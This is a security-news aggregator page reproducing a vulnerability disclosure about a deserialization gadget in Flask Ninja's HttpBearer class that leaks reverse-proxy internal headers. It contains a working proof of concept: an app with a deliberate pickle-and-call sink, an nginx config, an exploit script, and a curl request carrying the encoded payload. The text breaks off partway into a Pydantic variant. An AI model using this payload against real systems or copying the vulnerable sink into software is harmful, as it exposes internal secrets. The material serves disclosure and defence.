Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Reddit r/netsec

Leaking internal headers in Flask Ninja with deserialization

  • What: A security flaw in Flask Ninja allows for deserialization attacks
  • Impact: Developers using Flask Ninja may be at risk if they handle untrusted data
Read Full Article →

Twitter Reddit Hacker News Mastodon WordPress Hashnode Medium Print/PDF Share on Mastodon Enter your instance URL to proceed (e.g., mastodon.social): mastodon.social infosec.exchange hachyderm.io fosstodon.org chaos.social mstdn.social Cancel Share Now Flask Ninja is an API framework for Flask, inspired by Django Ninja and, like it, built on top of Pydantic . Flask Ninja ships a neat HttpBearer abstract class so you can wire up token authentication in a couple of lines. HttpBearer.__call__ reads the credential from self.header , a plain instance attribute. So if an app ever deserializes untrusted data and calls the result, an attacker can hand it a pickled BearerAuth , the app’s own auth class, with that attribute retargeted at a header the client can’t see. Calling the object runs __call__ against the attacker’s chosen header, and a very common developer pattern then reflects the header’s value straight back, leaking secrets for example a reverse proxy injected headers behind the scenes. This was reported to Kiwi.com through HackerOne on March 27, 2026 and closed as informative on April 15, without ever being triaged, on the grounds that it is a gadget rather than a standalone bug. In my opinion a framework should not leave gadgets behind as gadgets do the heavy lifting of deserialization attack, and closing the door on them is the framework’s job, not the app developer’s. After a 90-day disclosure window, the gadget still exists unpatched in Flask Ninja today. Proof of Concept Start with the target app. The developer sets up bearer-token authentication the ordinary Flask Ninja way: subclass HttpBearer , implement authenticate , and hand an instance to NinjaAPI , which calls it on every request to validate the token. Rejected tokens are reflected back in the 401 error, a common and seemingly harmless habit. Separately, the index endpoint carries a deserialization sink: it base64-decodes a query parameter, unpickles it, and calls the resulting object. main.py : import base64 import pickle from flask import Flask, abort, request from flask_ninja import HttpBearer, NinjaAPI app = Flask(__name__) class BearerAuth(HttpBearer): def authenticate(self, token): if token == "test": return True abort(401, description=f"Invalid token: {token}") api = NinjaAPI(app, auth=BearerAuth()) @api.get("/") def index() -> dict: user_input = request.args.get("data") decoded_data = base64.b64decode(user_input) deserialized = pickle.loads(decoded_data) output = deserialized() return { "data": user_input, "output": output, } if __name__ == "__main__": app.run(debug=True) The app runs behind a reverse proxy that adds an internal header to every request before it reaches Flask. nginx.conf : events {} http { server { listen 8080; location / { proxy_pass http://127.0.0.1:5000; # an internal header proxy_set_header Proxy-Token "bearer pwned"; } } } Now the exploit. It pickles a plain BearerAuth , the app’s own auth class, and overwrites the two attributes its inherited HttpBearer.__call__ trusts. header is set to the internal header we want to read, and openapi_scheme to the scheme that header’s value starts with. When the sink unpickles this object and calls it, __call__ reads our chosen header instead of Authorization . exploit.py : import base64 import pickle from flask_ninja.security import HttpBearer class BearerAuth(HttpBearer): def authenticate(self, token): if token == "test": return True return False a = BearerAuth() a.header = "Proxy-Token" a.openapi_scheme = "bearer" with open("bearerAuth.pickle", "wb") as f: pickle.dump(a, f) Generate the gadget, start the app, and start the proxy: # generate the pickle gadget uv run exploit.py # start the flask-ninja server uv run main.py # start nginx proxy nginx -c $(pwd)/nginx.conf -g "daemon off;" Send the base64 of bearerAuth.pickle as data . The deserialized object is called, __call__ reads Proxy-Token instead of Authorization , and the developer’s abort() reflects the internal header straight back: curl --request GET \ --url 'http://127.0.0.1:8080/?data=gASVVAAAAAAAAACMCF9fbWFpbl9flIwKQmVhcmVyQXV0aJSTlCmBlH2UKIwGaGVhZGVylIwLUHJveHktVG9rZW6UjA5vcGVuYXBpX3NjaGVtZZSMBmJlYXJlcpR1Yi4%3D' \ --header 'Authorization: Bearer test' The response is a 401 whose body reflects Invalid token: pwned , the value of the internal Proxy-Token the client was never able to set: The gadget does not depend on pickle. Because Flask Ninja apps hydrate objects from external data with Pydantic, the same attributes can be injected through config. Make BearerAuth a Pydantic model loaded from YAML (which could just as easily be a database row, as in a multi-tenant setup that builds an API per tenant). pydantic_example.py : import yaml from flask import Flask, abort, request from flask.templating import render_template from flask_ninja import NinjaAPI from flask_ninja.security import HttpBearer from pydantic import BaseModel app = Flask(__name__) class BearerAuth(BaseModel, HttpBearer): base_url: str = "https://exam...

Share this article